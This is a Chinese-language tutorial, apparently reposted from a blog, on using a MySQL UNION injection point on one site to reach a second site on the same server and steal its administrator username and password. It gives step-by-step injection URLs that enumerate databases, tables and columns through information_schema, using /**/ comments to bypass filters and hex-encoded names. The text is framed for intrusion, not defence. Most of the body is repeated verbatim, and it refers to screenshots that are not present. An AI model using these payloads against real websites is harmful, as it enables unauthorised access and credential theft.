Mysql跨库入侵介绍
入侵假想：
目标是A站点，安全性比较可以。但是在同服务器下的B站点，我们发现了一个Mysql 注入点，并且还有查询相关库的权限。
那么，我们就可以通过B站点的注入点跨库查询A站点的信息，入侵之…..
（当然你也可以把B站点入侵了，再入侵A。但不是有注入点就可以入侵的，偶？跑题了。）
大家知道在mysql5.0以后加入了 information_schemata 这个虚拟库，基本结构如下：
Information_schema-------| Schemata 存放数据库信息的表
| Tables 存放数据库中表信息的表
| Columns 存放数据库中列信息的表
…………………………………..
对我们入侵十分有帮助。
既然我们要跨库，就需要查询库信息。怎么查？上图，来得直接
还有一个要介绍的，假如我们要查询mysql库中的user表中的相关信息，我们可以这样查：
好了，XX们已经等不急了。
B站注入点：
http://www.b.com/b.php?ID=99
看看数据库基本情况
http://www.b.com/b.php?ID=-99/**/union/**/select/**/1,concat(user(),0x2c,version())
5.x的mysql，挺好的。继续
查库：
http://www.b.com/b.php?ID=-99/**/union/**/select/**/1,schema_name/**/from/**/information_schema.schemata/**/limit/**/0,1
这样查出来的就是mysql中的第一个数据库，想要查第二个数据库就将limit 0,1改为limit 1,1
以此类推。
有人就要问了，你怎么知道A站点的数据库是哪个呀？
这个嘛，1.Load_file，要看运气
2.猜猜，还可以看A站是不是整站程序，凭经验猜猜，像helen这样的牛B社工猜出来没问题。
通过上面的操作，我们已经获取了A站点的数据库名 adb(假设)
查管理员表：
http://www.b.com/b.php?ID=-99/**/union/**/select/**/1,table_name/**/from/**/information_schema.tables/**/where/**/table_schema=0x616462/**/limit/**/0,1、
………
得到管理员表为 adb_admin
查管理员中表的字段：
http://www.b.com/b.php?ID=-99/**/union/**/select/**/1,column_name/**/from/**/information_schema.columns/**/where/**/table_name=0x6164625F61646D696E/**/limit/**/0,1
…………….
得到管理员表字段为 admin_name admin_pass
查管理员帐号信息：
http://www.b.com/b.php?ID=-99/**/union/**/select/**/1,concat(admin_name,0x2c,admin_pass)/**/from/**/adb.adb_admin/**/limit/**/0,1
…………………
OK到这里A站点的管理员信息也就查询出来了，XX们，继续入侵工作
注：
adb的Hex为0x616462
adb_admin的Hex为0x6164625F61646D696E
目标是A站点，安全性比较可以。但是在同服务器下的B站点，我们发现了一个Mysql 注入点，并且还有查询相关库的权限。
那么，我们就可以通过B站点的注入点跨库查询A站点的信息，入侵之…..
（当然你也可以把B站点入侵了，再入侵A。但不是有注入点就可以入侵的，偶？跑题了。）
大家知道在mysql5.0以后加入了 information_schemata 这个虚拟库，基本结构如下：
Information_schema-------| Schemata 存放数据库信息的表
| Tables 存放数据库中表信息的表
| Columns 存放数据库中列信息的表
…………………………………..
对我们入侵十分有帮助。
既然我们要跨库，就需要查询库信息。怎么查？上图，来得直接
还有一个要介绍的，假如我们要查询mysql库中的user表中的相关信息，我们可以这样查：
好了，XX们已经等不急了。
B站注入点：
http://www.b.com/b.php?ID=99
看看数据库基本情况
http://www.b.com/b.php?ID=-99/**/union/**/select/**/1,concat(user(),0x2c,version())
5.x的mysql，挺好的。继续
查库：
http://www.b.com/b.php?ID=-99/**/union/**/select/**/1,schema_name/**/from/**/information_schema.schemata/**/limit/**/0,1
这样查出来的就是mysql中的第一个数据库，想要查第二个数据库就将limit 0,1改为limit 1,1
以此类推。
有人就要问了，你怎么知道A站点的数据库是哪个呀？
这个嘛，1.Load_file，要看运气
2.猜猜，还可以看A站是不是整站程序，凭经验猜猜，像helen这样的牛B社工猜出来没问题。
通过上面的操作，我们已经获取了A站点的数据库名 adb(假设)
查管理员表：
http://www.b.com/b.php?ID=-99/**/union/**/select/**/1,table_name/**/from/**/information_schema.tables/**/where/**/table_schema=0x616462/**/limit/**/0,1、
………
得到管理员表为 adb_admin
查管理员中表的字段：
http://www.b.com/b.php?ID=-99/**/union/**/select/**/1,column_name/**/from/**/information_schema.columns/**/where/**/table_name=0x6164625F61646D696E/**/limit/**/0,1
…………….
得到管理员表字段为 admin_name admin_pass
查管理员帐号信息：
http://www.b.com/b.php?ID=-99/**/union/**/select/**/1,concat(admin_name,0x2c,admin_pass)/**/from/**/adb.adb_admin/**/limit/**/0,1
…………………
OK到这里A站点的管理员信息也就查询出来了，XX们，继续入侵工作
注：
adb的Hex为0x616462
adb_admin的Hex为0x6164625F61646D696E
, 的Hex为0x2c
转自：老邪博客